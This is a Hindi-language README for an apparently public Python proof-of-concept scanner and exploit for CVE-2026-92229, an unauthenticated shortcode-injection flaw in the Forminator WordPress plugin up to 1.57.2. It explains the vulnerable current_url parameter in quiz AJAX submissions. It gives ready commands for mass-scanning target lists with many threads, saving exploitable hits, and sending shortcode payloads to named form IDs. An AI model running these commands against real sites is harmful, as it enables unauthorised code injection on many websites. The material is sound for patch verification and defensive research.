
Python 3 PoC स्कैनर और CVE-2026-92229 के लिए एक्सप्लॉइट, जो Forminator WordPress प्लगइन संस्करण 1.57.2 और उससे नीचे में एक अनधिकृत मनमाना शॉर्टकोड निष्पादन दोष है।
Forminator (WPMU DEV) में CVE-2026-92229 के लिए Python 3 PoC स्कैनर/एक्सप्लॉइट।
| प्लगइन | forminator |
| प्रभावित | ≤ 1.57.2 |
| में ठीक किया गया | 1.57.3+ |
| CVSS | 9.1 (गंभीर) |
| प्रमाणीकरण | अनधिकृत |
| वेक्टर | POST पैरामीटर current_url (क्विज़ AJAX) |
| CWE | CWE-94 (कोड इंजेक्शन) |
| श्रेय | Kuba (Wordfence) |
कमजोर संस्करणों में, उपयोगकर्ता द्वारा प्रदान किया गया current_url क्विज़ परिणाम HTML (जैसे सोशल शेयर विशेषताएँ) में प्रतिबिंबित होता है और प्रतिक्रिया बफर को WordPress do_shortcode() के साथ संसाधित किया जाता है। एक अनधिकृत हमलावर admin-ajax.php के माध्यम से एक क्विज़ सबमिट कर सकता है जिसमें एक दुर्भावनापूर्ण current_url मनमाना शॉर्टकोड एम्बेड करता है।
प्राथमिक AJAX क्रियाएँ:
forminator_submit_form_quizzesforminator_submit_preview_form_quizzes (पूर्वावलोकन; --preview)1.57.3 में शॉर्टकोड निष्पादन को पूर्ण HTML बफर के बजाय इच्छित टेक्स्ट फ़ील्ड तक सीमित करके ठीक किया गया।
pip install -r requirements.txtpip install -r requirements.txt
# Detect plugin, version, public Forminator modules (quiz answers when parseable)
python poc.py -u https://target.example --mode check
# Mass check
python poc.py --list targets.example.txt --mode check --threads 30 --quiet
# Exploit (auto nonce + quiz answers when possible)
python poc.py -u https://target.example --mode exploit \
--page-url /quiz/ --form-id 42 \
--shortcode "PROBE"
# Preview submit (no stored entry, same code path)
python poc.py -u https://target.example --mode exploit --preview \
--page-url /quiz/ --form-id 42
# Manual quiz answers if HTML parsing fails
python poc.py -u https://target.example --mode exploit \
--form-id 42 --answers "2051:7608,2052:7610"
| विकल्प | विवरण |
|---|---|
-u, --url | एकल लक्ष्य बेस URL |
--list | प्रति पंक्ति एक URL वाली फ़ाइल |
--mode | check (डिफ़ॉल्ट) या exploit |
--page-url | फ़ॉर्म वाला पेज पथ या URL |
--form-id | Forminator मॉड्यूल ID |
--form-type | quizzes, custom-forms, या poll |
--answers | क्विज़ उत्तर question_id:answer_id,... के रूप में |
--shortcode | शॉर्टकोड पेलोड (current_url के अंदर [caption]…[/caption] में लिपटा) |
--preview | पूर्वावलोकन AJAX क्रिया का उपयोग करें |
--threads, -j | मास स्कैन समवर्तीता (डिफ़ॉल्ट 20) |
--output | JSONL परिणाम (डिफ़ॉल्ट cve_2026_92229_results.jsonl) |
--vuln-list | चेक हिट के लिए टेक्स्ट फ़ाइल (डिफ़ॉल्ट hits.txt) |
--candidates-list | शोषण योग्य चेक के लिए JSONL मेटाडेटा (डिफ़ॉल्ट candidates.jsonl) |
--quiet | मास रन पर कम प्रगति शोर |
| फ़ाइल | सामग्री |
|---|---|
cve_2026_92229_results.jsonl | प्रति-लक्ष्य JSON (status, version, modules, …) |
hits.txt | exploitable_candidate: true वाले बेस URL |
candidates.jsonl | हिट विवरण: form_id, page_url, form_type |
status मान| स्थिति | अर्थ |
|---|---|
candidate | कमजोर संस्करण + पार्स किए गए उत्तरों वाला क्विज़ |
form_no_quiz_answers | फ़ॉर्म मिला लेकिन क्विज़ उत्तर स्वतः पार्स नहीं हुए |
plugin_no_public_form | प्लगइन मौजूद, कोई सार्वजनिक मॉड्यूल नहीं मिला |
patched | संस्करण ≥ 1.57.3 (या नया मेजर) |
no_plugin | Forminator का पता नहीं चला |
exploitable_candidate को केवल तब चिह्नित करता है जब क्विज़ answers[qid] को HTML से पार्स किया जा सके (कई साइटें JS-रेंडर किए गए क्विज़ का उपयोग करती हैं → --answers या मैनुअल एक्सप्लॉइट का उपयोग करें)।[caption] के साथ जाँच करें)।.
├── poc.py
├── requirements.txt
├── targets.example.txt
├── README.md
├── LICENSE
└── .gitignore
स्थानीय मास-स्कैन सूचियाँ (जैसे list.txt, FOFA निर्यात, *.jsonl परिणाम) .gitignore में सूचीबद्ध हैं और इन्हें कमिट नहीं किया जाना चाहिए।
केवल अधिकृत सुरक्षा परीक्षण के लिए। लागू कानूनों और कार्यक्रम नियमों के अनुपालन की जिम्मेदारी आपकी है।